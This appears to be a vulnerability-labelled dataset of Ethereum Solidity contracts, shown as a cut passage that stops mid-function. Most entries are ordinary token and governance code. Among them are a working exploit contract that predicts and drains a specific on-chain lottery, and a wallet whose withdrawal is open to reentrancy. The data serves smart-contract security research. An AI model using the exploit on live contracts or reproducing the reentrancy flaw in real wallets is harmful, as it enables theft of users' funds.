rtn) = Unft.call(Adata2); (uint128 amt0,uint128 amt1) = abi.decode(rtn,(uint128,uint128)); require(amt0 > 0 || amt1 > 0, "no amt"); uint256 Uamt = amt0 > 0 ? amt0 : amt1; uint256 vig = Uamt.mul(fee).div(1000); address payable usr = msg.sender; if(ETH){ if(TToken == weth){ (bool wet,) = weth.call(abi.encodeWithSignature("withdraw(uint256)",Uamt)); require(wet, "Weth withdraw error"); usr.transfer(Uamt.sub(vig)); }else{ safeTransfer(TToken,usr,Uamt.sub(vig)); } }else{ safeTransfer(TToken,usr,Uamt.sub(vig)); } if(trans){ URnft(nftID); } } function onERC721Received(address, address, uint256, bytes memory) public returns (bytes4) { return this.onERC721Received.selector; } function URnft(uint256 nftID) internal { IERC721(Unft).safeTransferFrom(address(this),msg.sender,nftID); } function safeTransfer(address token, address to, uint value) internal { (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0xa9059cbb, to, value)); require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: TRANSFER_FAILED'); } function withdraw() public payable onlyOwner{ owner.transfer( address( this ).balance ); } function toke(address _toke, uint amt) public payable onlyOwner{ if(_toke == weth){ uint256 Wbal = IERC20(weth).balanceOf(address(this)); weth.call(abi.encodeWithSignature("withdraw(uint256)",Wbal)); owner.transfer(address(this).balance); }else{ safeTransfer(_toke,owner,amt); } } function Rnft(uint256 nftID,address GoTo) public onlyOwner { IERC721(Unft).safeTransferFrom(address(this),GoTo,nftID); } function kill() external payable onlyOwner{ selfdestruct(owner); } receive () external payable {} fallback () external payable {} }
0
1,446
pragma solidity ^0.5.0; interface TargetInterface { function sendTXTpsTX(string calldata UserTicketKey, string calldata setRef) external payable; } contract NonRandomFiveDemo { address payable private targetAddress = 0xC19abA5148A8E8E2b813D40bE1276312FeDdB813; address payable private owner; modifier onlyOwner() { require(msg.sender == owner); _; } constructor() public payable { owner = msg.sender; } function ping(uint256 _nonce, bool _keepBalance) public payable onlyOwner { uint256 ourBalanceInitial = address(this).balance; uint256 targetBalanceInitial = targetAddress.balance; uint256 betValue = targetBalanceInitial / 28; uint256 betValueReduced = betValue - ((betValue / 1000) * 133); uint256 targetBalanceAfterBet = targetBalanceInitial + betValueReduced; uint256 expectedPrize = (betValueReduced / 100) * 3333; if (expectedPrize > targetBalanceAfterBet) { uint256 throwIn = expectedPrize - targetBalanceAfterBet; targetAddress.transfer(throwIn); } string memory betString = ticketString(_nonce); TargetInterface target = TargetInterface(targetAddress); target.sendTXTpsTX.value(betValue)(betString, ""); require(address(this).balance > ourBalanceInitial); if (!_keepBalance) { owner.transfer(address(this).balance); } } function withdraw() public onlyOwner { owner.transfer(address(this).balance); } function kill() public onlyOwner { selfdestruct(owner); } function () external payable { } function ticketString(uint256 _nonce) public view returns (string memory) { bytes32 ticketAddressBytes = addressBytesFrom(targetAddress, _nonce); return ticketStringFromAddressBytes(ticketAddressBytes); } function addressBytesFrom(address _origin, uint256 _nonce) private pure returns (bytes32) { if (_nonce == 0x00) return keccak256(abi.encodePacked(byte(0xd6), byte(0x94), _origin, byte(0x80))); if (_nonce <= 0x7f) return keccak256(abi.encodePacked(byte(0xd6), byte(0x94), _origin, uint8(_nonce))); if (_nonce <= 0xff) return keccak256(abi.encodePacked(byte(0xd7), byte(0x94), _origin, byte(0x81), uint8(_nonce))); if (_nonce <= 0xffff) return keccak256(abi.encodePacked(byte(0xd8), byte(0x94), _origin, byte(0x82), uint16(_nonce))); if (_nonce <= 0xffffff) return keccak256(abi.encodePacked(byte(0xd9), byte(0x94), _origin, byte(0x83), uint24(_nonce))); return keccak256(abi.encodePacked(byte(0xda), byte(0x94), _origin, byte(0x84), uint32(_nonce))); } function ticketStringFromAddressBytes(bytes32 _addressBytes) private pure returns(string memory) { bytes memory alphabet = "0123456789abcdef"; bytes memory ticketBytes = new bytes(5); ticketBytes[0] = alphabet[uint8(_addressBytes[29] & 0x0f)]; ticketBytes[1] = alphabet[uint8(_addressBytes[30] >> 4)]; ticketBytes[2] = alphabet[uint8(_addressBytes[30] & 0x0f)]; ticketBytes[3] = alphabet[uint8(_addressBytes[31] >> 4)]; ticketBytes[4] = alphabet[uint8(_addressBytes[31] & 0x0f)]; return string(ticketBytes); } }
0
1,911
pragma solidity ^0.5.0; interface IERC20 { function transfer(address to, uint256 value) external returns (bool); function approve(address spender, uint256 value) external returns (bool); function transferFrom(address from, address to, uint256 value) external returns (bool); function totalSupply() external view returns (uint256); function balanceOf(address who) external view returns (uint256); function allowance(address owner, address spender) external view returns (uint256); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } pragma solidity ^0.5.0; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); uint256 c = a - b; return c; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0, "SafeMath: modulo by zero"); return a % b; } } pragma solidity ^0.5.0; contract ERC20 is IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowed; uint256 private _totalSupply; function totalSupply() public view returns (uint256) { return _totalSupply; } function balanceOf(address owner) public view returns (uint256) { return _balances[owner]; } function allowance(address owner, address spender) public view returns (uint256) { return _allowed[owner][spender]; } function transfer(address to, uint256 value) public returns (bool) { _transfer(msg.sender, to, value); return true; } function approve(address spender, uint256 value) public returns (bool) { _approve(msg.sender, spender, value); return true; } function transferFrom(address from, address to, uint256 value) public returns (bool) { _transfer(from, to, value); _approve(from, msg.sender, _allowed[from][msg.sender].sub(value)); return true; } function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { _approve(msg.sender, spender, _allowed[msg.sender][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { _approve(msg.sender, spender, _allowed[msg.sender][spender].sub(subtractedValue)); return true; } function _transfer(address from, address to, uint256 value) internal { require(to != address(0), "ERC20: transfer to the zero address"); _balances[from] = _balances[from].sub(value); _balances[to] = _balances[to].add(value); emit Transfer(from, to, value); } function _mint(address account, uint256 value) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(value); _balances[account] = _balances[account].add(value); emit Transfer(address(0), account, value); } function _burn(address account, uint256 value) internal { require(account != address(0), "ERC20: burn from the zero address"); _totalSupply = _totalSupply.sub(value); _balances[account] = _balances[account].sub(value); emit Transfer(account, address(0), value); } function _approve(address owner, address spender, uint256 value) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowed[owner][spender] = value; emit Approval(owner, spender, value); } function _burnFrom(address account, uint256 value) internal { _burn(account, value); _approve(account, msg.sender, _allowed[account][msg.sender].sub(value)); } } pragma solidity ^0.5.0; contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor (string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } } pragma solidity ^0.5.0; contract EVEOToken is ERC20, ERC20Detailed { uint8 public constant DECIMALS = 18; uint256 public constant INITIAL_SUPPLY = 210000000000 * (10 ** uint256(DECIMALS)); constructor (address owner) public ERC20Detailed("EVEOToken", "EVEO", DECIMALS) { _mint(owner, INITIAL_SUPPLY); } }
1
2,697
pragma solidity ^0.4.25; contract Y_WALLET { function Put(uint _unlockTime) public payable { var acc = Acc[msg.sender]; acc.balance += msg.value; acc.unlockTime = _unlockTime>now?_unlockTime:now; LogFile.AddMessage(msg.sender,msg.value,"Put"); } function Collect(uint _am) public payable { var acc = Acc[msg.sender]; if( acc.balance>=MinSum && acc.balance>=_am && now>acc.unlockTime) { if(msg.sender.call.value(_am)()) { acc.balance-=_am; LogFile.AddMessage(msg.sender,_am,"Collect"); } } } function() public payable { Put(0); } struct Holder { uint unlockTime; uint balance; } mapping (address => Holder) public Acc; Log LogFile; uint public MinSum = 1 ether; function Y_WALLET(address log) public{ LogFile = Log(log); } } contract Log { struct Message { address Sender; string Data; uint Val; uint Time; } Message[] public History; Message LastMsg; function AddMessage(address _adr,uint _val,string _data) public { LastMsg.Sender = _adr; LastMsg.Time = now; LastMsg.Val = _val; LastMsg.Data = _data; History.push(LastMsg); } }
1
3,493
pragma solidity ^0.5.2; interface IntVoteInterface { modifier onlyProposalOwner(bytes32 _proposalId) {revert(); _;} modifier votable(bytes32 _proposalId) {revert(); _;} event NewProposal( bytes32 indexed _proposalId, address indexed _organization, uint256 _numOfChoices, address _proposer, bytes32 _paramsHash ); event ExecuteProposal(bytes32 indexed _proposalId, address indexed _organization, uint256 _decision, uint256 _totalReputation ); event VoteProposal( bytes32 indexed _proposalId, address indexed _organization, address indexed _voter, uint256 _vote, uint256 _reputation ); event CancelProposal(bytes32 indexed _proposalId, address indexed _organization ); event CancelVoting(bytes32 indexed _proposalId, address indexed _organization, address indexed _voter); function propose( uint256 _numOfChoices, bytes32 _proposalParameters, address _proposer, address _organization ) external returns(bytes32); function vote( bytes32 _proposalId, uint256 _vote, uint256 _rep, address _voter ) external returns(bool); function cancelVote(bytes32 _proposalId) external; function getNumberOfChoices(bytes32 _proposalId) external view returns(uint256); function isVotable(bytes32 _proposalId) external view returns(bool); function voteStatus(bytes32 _proposalId, uint256 _choice) external view returns(uint256); function isAbstainAllow() external pure returns(bool); function getAllowedRangeOfChoices() external pure returns(uint256 min, uint256 max); } interface IERC20 { function transfer(address to, uint256 value) external returns (bool); function approve(address spender, uint256 value) external returns (bool); function transferFrom(address from, address to, uint256 value) external returns (bool); function totalSupply() external view returns (uint256); function balanceOf(address who) external view returns (uint256); function allowance(address owner, address spender) external view returns (uint256); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } interface VotingMachineCallbacksInterface { function mintReputation(uint256 _amount, address _beneficiary, bytes32 _proposalId) external returns(bool); function burnReputation(uint256 _amount, address _owner, bytes32 _proposalId) external returns(bool); function stakingTokenTransfer(IERC20 _stakingToken, address _beneficiary, uint256 _amount, bytes32 _proposalId) external returns(bool); function getTotalReputationSupply(bytes32 _proposalId) external view returns(uint256); function reputationOf(address _owner, bytes32 _proposalId) external view returns(uint256); function balanceOfStakingToken(IERC20 _stakingToken, bytes32 _proposalId) external view returns(uint256); } contract Ownable { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () internal { _owner = msg.sender; emit OwnershipTransferred(address(0), _owner); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(isOwner()); _; } function isOwner() public view returns (bool) { return msg.sender == _owner; } function renounceOwnership() public onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public onlyOwner { _transferOwnership(newOwner); } function _transferOwnership(address newOwner) internal { require(newOwner != address(0)); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } contract Reputation is Ownable { uint8 public decimals = 18; event Mint(address indexed _to, uint256 _amount); event Burn(address indexed _from, uint256 _amount); struct Checkpoint { uint128 fromBlock; uint128 value; } mapping (address => Checkpoint[]) balances; Checkpoint[] totalSupplyHistory; constructor( ) public { } function totalSupply() public view returns (uint256) { return totalSupplyAt(block.number); } function balanceOf(address _owner) public view returns (uint256 balance) { return balanceOfAt(_owner, block.number); } function balanceOfAt(address _owner, uint256 _blockNumber) public view returns (uint256) { if ((balances[_owner].length == 0) || (balances[_owner][0].fromBlock > _blockNumber)) { return 0; } else { return getValueAt(balances[_owner], _blockNumber); } } function totalSupplyAt(uint256 _blockNumber) public view returns(uint256) { if ((totalSupplyHistory.length == 0) || (totalSupplyHistory[0].fromBlock > _blockNumber)) { return 0; } else { return getValueAt(totalSupplyHistory, _blockNumber); } } function mint(address _user, uint256 _amount) public onlyOwner returns (bool) { uint256 curTotalSupply = totalSupply(); require(curTotalSupply + _amount >= curTotalSupply); uint256 previousBalanceTo = balanceOf(_user); require(previousBalanceTo + _amount >= previousBalanceTo); updateValueAtNow(totalSupplyHistory, curTotalSupply + _amount); updateValueAtNow(balances[_user], previousBalanceTo + _amount); emit Mint(_user, _amount); return true; } function burn(address _user, uint256 _amount) public onlyOwner returns (bool) { uint256 curTotalSupply = totalSupply(); uint256 amountBurned = _amount; uint256 previousBalanceFrom = balanceOf(_user); if (previousBalanceFrom < amountBurned) { amountBurned = previousBalanceFrom; } updateValueAtNow(totalSupplyHistory, curTotalSupply - amountBurned); updateValueAtNow(balances[_user], previousBalanceFrom - amountBurned); emit Burn(_user, amountBurned); return true; } function getValueAt(Checkpoint[] storage checkpoints, uint256 _block) internal view returns (uint256) { if (checkpoints.length == 0) { return 0; } if (_block >= checkpoints[checkpoints.length-1].fromBlock) { return checkpoints[checkpoints.length-1].value; } if (_block < checkpoints[0].fromBlock) { return 0; } uint256 min = 0; uint256 max = checkpoints.length-1; while (max > min) { uint256 mid = (max + min + 1) / 2; if (checkpoints[mid].fromBlock<=_block) { min = mid; } else { max = mid-1; } } return checkpoints[min].value; } function updateValueAtNow(Checkpoint[] storage checkpoints, uint256 _value) internal { require(uint128(_value) == _value); if ((checkpoints.length == 0) || (checkpoints[checkpoints.length - 1].fromBlock < block.number)) { Checkpoint storage newCheckPoint = checkpoints[checkpoints.length++]; newCheckPoint.fromBlock = uint128(block.number); newCheckPoint.value = uint128(_value); } else { Checkpoint storage oldCheckPoint = checkpoints[checkpoints.length-1]; oldCheckPoint.value = uint128(_value); } } } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0); uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a); uint256 c = a - b; return c; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a); return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0); return a % b; } } contract ERC20 is IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowed; uint256 private _totalSupply; function totalSupply() public view returns (uint256) { return _totalSupply; } function balanceOf(address owner) public view returns (uint256) { return _balances[owner]; } function allowance(address owner, address spender) public view returns (uint256) { return _allowed[owner][spender]; } function transfer(address to, uint256 value) public returns (bool) { _transfer(msg.sender, to, value); return true; } function approve(address spender, uint256 value) public returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = value; emit Approval(msg.sender, spender, value); return true; } function transferFrom(address from, address to, uint256 value) public returns (bool) { _allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value); _transfer(from, to, value); emit Approval(from, msg.sender, _allowed[from][msg.sender]); return true; } function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = _allowed[msg.sender][spender].add(addedValue); emit Approval(msg.sender, spender, _allowed[msg.sender][spender]); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = _allowed[msg.sender][spender].sub(subtractedValue); emit Approval(msg.sender, spender, _allowed[msg.sender][spender]); return true; } function _transfer(address from, address to, uint256 value) internal { require(to != address(0)); _balances[from] = _balances[from].sub(value); _balances[to] = _balances[to].add(value); emit Transfer(from, to, value); } function _mint(address account, uint256 value) internal { require(account != address(0)); _totalSupply = _totalSupply.add(value); _balances[account] = _balances[account].add(value); emit Transfer(address(0), account, value); } function _burn(address account, uint256 value) internal { require(account != address(0)); _totalSupply = _totalSupply.sub(value); _balances[account] = _balances[account].sub(value); emit Transfer(account, address(0), value); } function _burnFrom(address account, uint256 value) internal { _allowed[account][msg.sender] = _allowed[account][msg.sender].sub(value); _burn(account, value); emit Approval(account, msg.sender, _allowed[account][msg.sender]); } } contract ERC20Burnable is ERC20 { function burn(uint256 value) public { _burn(msg.sender, value); } function burnFrom(address from, uint256 value) public { _burnFrom(from, value); } } contract DAOToken is ERC20, ERC20Burnable, Ownable { string public name; string public symbol; uint8 public constant decimals = 18; uint256 public cap; constructor(string memory _name, string memory _symbol, uint256 _cap) public { name = _name; symbol = _symbol; cap = _cap; } function mint(address _to, uint256 _amount) public onlyOwner returns (bool) { if (cap > 0) require(totalSupply().add(_amount) <= cap); _mint(_to, _amount); return true; } } library Address { function isContract(address account) internal view returns (bool) { uint256 size; assembly { size := extcodesize(account) } return size > 0; } } pragma solidity ^0.5.2; library SafeERC20 { using Address for address; bytes4 constant private TRANSFER_SELECTOR = bytes4(keccak256(bytes("transfer(address,uint256)"))); bytes4 constant private TRANSFERFROM_SELECTOR = bytes4(keccak256(bytes("transferFrom(address,address,uint256)"))); bytes4 constant private APPROVE_SELECTOR = bytes4(keccak256(bytes("approve(address,uint256)"))); function safeTransfer(address _erc20Addr, address _to, uint256 _value) internal { require(_erc20Addr.isContract()); (bool success, bytes memory returnValue) = _erc20Addr.call(abi.encodeWithSelector(TRANSFER_SELECTOR, _to, _value)); require(success); require(returnValue.length == 0 || (returnValue.length == 32 && (returnValue[31] != 0))); } function safeTransferFrom(address _erc20Addr, address _from, address _to, uint256 _value) internal { require(_erc20Addr.isContract()); (bool success, bytes memory returnValue) = _erc20Addr.call(abi.encodeWithSelector(TRANSFERFROM_SELECTOR, _from, _to, _value)); require(success); require(returnValue.length == 0 || (returnValue.length == 32 && (returnValue[31] != 0))); } function safeApprove(address _erc20Addr, address _spender, uint256 _value) internal { require(_erc20Addr.isContract()); require((_value == 0) || (IERC20(_erc20Addr).allowance(msg.sender, _spender) == 0)); (bool success, bytes memory returnValue) = _erc20Addr.call(abi.encodeWithSelector(APPROVE_SELECTOR, _spender, _value)); require(success); require(returnValue.length == 0 || (returnValue.length == 32 && (returnValue[31] != 0))); } } contract Avatar is Ownable { using SafeERC20 for address; string public orgName; DAOToken public nativeToken; Reputation public nativeReputation; event GenericCall(address indexed _contract, bytes _params, bool _success); event SendEther(uint256 _amountInWei, address indexed _to); event ExternalTokenTransfer(address indexed _externalToken, address indexed _to, uint256 _value); event ExternalTokenTransferFrom(address indexed _externalToken, address _from, address _to, uint256 _value); event ExternalTokenApproval(address indexed _externalToken, address _spender, uint256 _value); event ReceiveEther(address indexed _sender, uint256 _value); constructor(string memory _orgName, DAOToken _nativeToken, Reputation _nativeReputation) public { orgName = _orgName; nativeToken = _nativeToken; nativeReputation = _nativeReputation; } function() external payable { emit ReceiveEther(msg.sender, msg.value); } function genericCall(address _contract, bytes memory _data) public onlyOwner returns(bool success, bytes memory returnValue) { (success, returnValue) = _contract.call(_data); emit GenericCall(_contract, _data, success); } function sendEther(uint256 _amountInWei, address payable _to) public onlyOwner returns(bool) { _to.transfer(_amountInWei); emit SendEther(_amountInWei, _to); return true; } function externalTokenTransfer(IERC20 _externalToken, address _to, uint256 _value) public onlyOwner returns(bool) { address(_externalToken).safeTransfer(_to, _value); emit ExternalTokenTransfer(address(_externalToken), _to, _value); return true; } function externalTokenTransferFrom( IERC20 _externalToken, address _from, address _to, uint256 _value ) public onlyOwner returns(bool) { address(_externalToken).safeTransferFrom(_from, _to, _value); emit ExternalTokenTransferFrom(address(_externalToken), _from, _to, _value); return true; } function externalTokenApproval(IERC20 _externalToken, address _spender, uint256 _value) public onlyOwner returns(bool) { address(_externalToken).safeApprove(_spender, _value); emit ExternalTokenApproval(address(_externalToken), _spender, _value); return true; } } contract UniversalSchemeInterface { function updateParameters(bytes32 _hashedParameters) public; function getParametersFromController(Avatar _avatar) internal view returns(bytes32); } contract GlobalConstraintInterface { enum CallPhase { Pre, Post, PreAndPost } function pre( address _scheme, bytes32 _params, bytes32 _method ) public returns(bool); function post( address _scheme, bytes32 _params, bytes32 _method ) public returns(bool); function when() public returns(CallPhase); } interface ControllerInterface { function mintReputation(uint256 _amount, address _to, address _avatar) external returns(bool); function burnReputation(uint256 _amount, address _from, address _avatar) external returns(bool); function mintTokens(uint256 _amount, address _beneficiary, address _avatar) external returns(bool); function registerScheme(address _scheme, bytes32 _paramsHash, bytes4 _permissions, address _avatar) external returns(bool); function unregisterScheme(address _scheme, address _avatar) external returns(bool); function unregisterSelf(address _avatar) external returns(bool); function addGlobalConstraint(address _globalConstraint, bytes32 _params, address _avatar) external returns(bool); function removeGlobalConstraint (address _globalConstraint, address _avatar) external returns(bool); function upgradeController(address _newController, Avatar _avatar) external returns(bool); function genericCall(address _contract, bytes calldata _data, Avatar _avatar) external returns(bool, bytes memory); function sendEther(uint256 _amountInWei, address payable _to, Avatar _avatar) external returns(bool); function externalTokenTransfer(IERC20 _externalToken, address _to, uint256 _value, Avatar _avatar) external returns(bool); function externalTokenTransferFrom( IERC20 _externalToken, address _from, address _to, uint256 _value, Avatar _avatar) external returns(bool); function externalTokenApproval(IERC20 _externalToken, address _spender, uint256 _value, Avatar _avatar) external returns(bool); function getNativeReputation(address _avatar) external view returns(address); function isSchemeRegistered( address _scheme, address _avatar) external view returns(bool); function getSchemeParameters(address _scheme, address _avatar) external view returns(bytes32); function getGlobalConstraintParameters(address _globalConstraint, address _avatar) external view returns(bytes32); function getSchemePermissions(address _scheme, address _avatar) external view returns(bytes4); function globalConstraintsCount(address _avatar) external view returns(uint, uint); function isGlobalConstraintRegistered(address _globalConstraint, address _avatar) external view returns(bool); } contract UniversalScheme is Ownable, UniversalSchemeInterface { bytes32 public hashedParameters; function updateParameters( bytes32 _hashedParameters ) public onlyOwner { hashedParameters = _hashedParameters; } function getParametersFromController(Avatar _avatar) internal view returns(bytes32) { require(ControllerInterface(_avatar.owner()).isSchemeRegistered(address(this), address(_avatar)), "scheme is not registered"); return ControllerInterface(_avatar.owner()).getSchemeParameters(address(this), address(_avatar)); } } library ECDSA { function recover(bytes32 hash, bytes memory signature) internal pure returns (address) { bytes32 r; bytes32 s; uint8 v; if (signature.length != 65) { return (address(0)); } assembly { r := mload(add(signature, 0x20)) s := mload(add(signature, 0x40)) v := byte(0, mload(add(signature, 0x60))) } if (v < 27) { v += 27; } if (v != 27 && v != 28) { return (address(0)); } else { return ecrecover(hash, v, r, s); } } function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) { return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash)); } } library RealMath { uint256 constant private REAL_BITS = 256; uint256 constant private REAL_FBITS = 40; uint256 constant private REAL_ONE = uint256(1) << REAL_FBITS; function pow(uint256 realBase, uint256 exponent) internal pure returns (uint256) { uint256 tempRealBase = realBase; uint256 tempExponent = exponent; uint256 realResult = REAL_ONE; while (tempExponent != 0) { if ((tempExponent & 0x1) == 0x1) { realResult = mul(realResult, tempRealBase); } tempExponent = tempExponent >> 1; tempRealBase = mul(tempRealBase, tempRealBase); } return uint216(realResult / REAL_ONE); } function fraction(uint216 numerator, uint216 denominator) internal pure returns (uint256) { return div(uint256(numerator) * REAL_ONE, uint256(denominator) * REAL_ONE); } function mul(uint256 realA, uint256 realB) private pure returns (uint256) { return uint256((uint256(realA) * uint256(realB)) >> REAL_FBITS); } function div(uint256 realNumerator, uint256 realDenominator) private pure returns (uint256) { return uint256((uint256(realNumerator) * REAL_ONE) / uint256(realDenominator)); } } interface ProposalExecuteInterface { function executeProposal(bytes32 _proposalId, int _decision) external returns(bool); } library Math { function max(uint256 a, uint256 b) internal pure returns (uint256) { return a >= b ? a : b; } function min(uint256 a, uint256 b) internal pure returns (uint256) { return a < b ? a : b; } function average(uint256 a, uint256 b) internal pure returns (uint256) { return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2); } } contract GenesisProtocolLogic is IntVoteInterface { using SafeMath for uint; using Math for uint; using RealMath for uint216; using RealMath for uint256; using Address for address; enum ProposalState { None, ExpiredInQueue, Executed, Queued, PreBoosted, Boosted, QuietEndingPeriod} enum ExecutionState { None, QueueBarCrossed, QueueTimeOut, PreBoostedBarCrossed, BoostedTimeOut, BoostedBarCrossed} struct Parameters { uint256 queuedVoteRequiredPercentage; uint256 queuedVotePeriodLimit; uint256 boostedVotePeriodLimit; uint256 preBoostedVotePeriodLimit; uint256 thresholdConst; uint256 limitExponentValue; uint256 quietEndingPeriod; uint256 proposingRepReward; uint256 votersReputationLossRatio; uint256 minimumDaoBounty; uint256 daoBountyConst; uint256 activationTime; address voteOnBehalf; } struct Voter { uint256 vote; uint256 reputation; bool preBoosted; } struct Staker { uint256 vote; uint256 amount; uint256 amount4Bounty; } struct Proposal { bytes32 organizationId; address callbacks; ProposalState state; uint256 winningVote; address proposer; uint256 currentBoostedVotePeriodLimit; bytes32 paramsHash; uint256 daoBountyRemain; uint256 daoBounty; uint256 totalStakes; uint256 confidenceThreshold; uint256 expirationCallBountyPercentage; uint[3] times; mapping(uint256 => uint256 ) votes; mapping(uint256 => uint256 ) preBoostedVotes; mapping(address => Voter ) voters; mapping(uint256 => uint256 ) stakes; mapping(address => Staker ) stakers; } event Stake(bytes32 indexed _proposalId, address indexed _organization, address indexed _staker, uint256 _vote, uint256 _amount ); event Redeem(bytes32 indexed _proposalId, address indexed _organization, address indexed _beneficiary, uint256 _amount ); event RedeemDaoBounty(bytes32 indexed _proposalId, address indexed _organization, address indexed _beneficiary, uint256 _amount ); event RedeemReputation(bytes32 indexed _proposalId, address indexed _organization, address indexed _beneficiary, uint256 _amount ); event StateChange(bytes32 indexed _proposalId, ProposalState _proposalState); event GPExecuteProposal(bytes32 indexed _proposalId, ExecutionState _executionState); event ExpirationCallBounty(bytes32 indexed _proposalId, address indexed _beneficiary, uint256 _amount); mapping(bytes32=>Parameters) public parameters; mapping(bytes32=>Proposal) public proposals; mapping(bytes32=>uint) public orgBoostedProposalsCnt; mapping(bytes32 => address ) public organizations; mapping(bytes32 => uint256 ) public averagesDownstakesOfBoosted; uint256 constant public NUM_OF_CHOICES = 2; uint256 constant public NO = 2; uint256 constant public YES = 1; uint256 public proposalsCnt; IERC20 public stakingToken; address constant private GEN_TOKEN_ADDRESS = 0x543Ff227F64Aa17eA132Bf9886cAb5DB55DCAddf; uint256 constant private MAX_BOOSTED_PROPOSALS = 4096; constructor(IERC20 _stakingToken) public { if (address(GEN_TOKEN_ADDRESS).isContract()) { stakingToken = IERC20(GEN_TOKEN_ADDRESS); } else { stakingToken = _stakingToken; } } modifier votable(bytes32 _proposalId) { require(_isVotable(_proposalId)); _; } function propose(uint256, bytes32 _paramsHash, address _proposer, address _organization) external returns(bytes32) { require(now > parameters[_paramsHash].activationTime, "not active yet"); require(parameters[_paramsHash].queuedVoteRequiredPercentage >= 50); bytes32 proposalId = keccak256(abi.encodePacked(this, proposalsCnt)); proposalsCnt = proposalsCnt.add(1); Proposal memory proposal; proposal.callbacks = msg.sender; proposal.organizationId = keccak256(abi.encodePacked(msg.sender, _organization)); proposal.state = ProposalState.Queued; proposal.times[0] = now; proposal.currentBoostedVotePeriodLimit = parameters[_paramsHash].boostedVotePeriodLimit; proposal.proposer = _proposer; proposal.winningVote = NO; proposal.paramsHash = _paramsHash; if (organizations[proposal.organizationId] == address(0)) { if (_organization == address(0)) { organizations[proposal.organizationId] = msg.sender; } else { organizations[proposal.organizationId] = _organization; } } uint256 daoBounty = parameters[_paramsHash].daoBountyConst.mul(averagesDownstakesOfBoosted[proposal.organizationId]).div(100); if (daoBounty < parameters[_paramsHash].minimumDaoBounty) { proposal.daoBountyRemain = parameters[_paramsHash].minimumDaoBounty; } else { proposal.daoBountyRemain = daoBounty; } proposal.totalStakes = proposal.daoBountyRemain; proposals[proposalId] = proposal; proposals[proposalId].stakes[NO] = proposal.daoBountyRemain; Staker storage staker = proposals[proposalId].stakers[organizations[proposal.organizationId]]; staker.vote = NO; staker.amount = proposal.daoBountyRemain; emit NewProposal(proposalId, organizations[proposal.organizationId], NUM_OF_CHOICES, _proposer, _paramsHash); return proposalId; } function executeBoosted(bytes32 _proposalId) external returns(uint256 expirationCallBounty) { Proposal storage proposal = proposals[_proposalId]; require(proposal.state == ProposalState.Boosted); require(_execute(_proposalId), "proposal need to expire"); uint256 expirationCallBountyPercentage = (uint(1).add(now.sub(proposal.currentBoostedVotePeriodLimit.add(proposal.times[1])).div(15))); if (expirationCallBountyPercentage > 100) { expirationCallBountyPercentage = 100; } proposal.expirationCallBountyPercentage = expirationCallBountyPercentage; expirationCallBounty = expirationCallBountyPercentage.mul(proposal.stakes[YES]).div(100); require(stakingToken.transfer(msg.sender, expirationCallBounty), "transfer to msg.sender failed"); emit ExpirationCallBounty(_proposalId, msg.sender, expirationCallBounty); } function setParameters( uint[11] calldata _params, address _voteOnBehalf ) external returns(bytes32) { require(_params[0] <= 100 && _params[0] >= 50, "50 <= queuedVoteRequiredPercentage <= 100"); require(_params[4] <= 16000 && _params[4] > 1000, "1000 < thresholdConst <= 16000"); require(_params[7] <= 100, "votersReputationLossRatio <= 100"); require(_params[2] >= _params[5], "boostedVotePeriodLimit >= quietEndingPeriod"); require(_params[8] > 0, "minimumDaoBounty should be > 0"); require(_params[9] > 0, "daoBountyConst should be > 0"); bytes32 paramsHash = getParametersHash(_params, _voteOnBehalf); uint256 limitExponent = 172; uint256 j = 2; for (uint256 i = 2000; i < 16000; i = i*2) { if ((_params[4] > i) && (_params[4] <= i*2)) { limitExponent = limitExponent/j; break; } j++; } parameters[paramsHash] = Parameters({ queuedVoteRequiredPercentage: _params[0], queuedVotePeriodLimit: _params[1], boostedVotePeriodLimit: 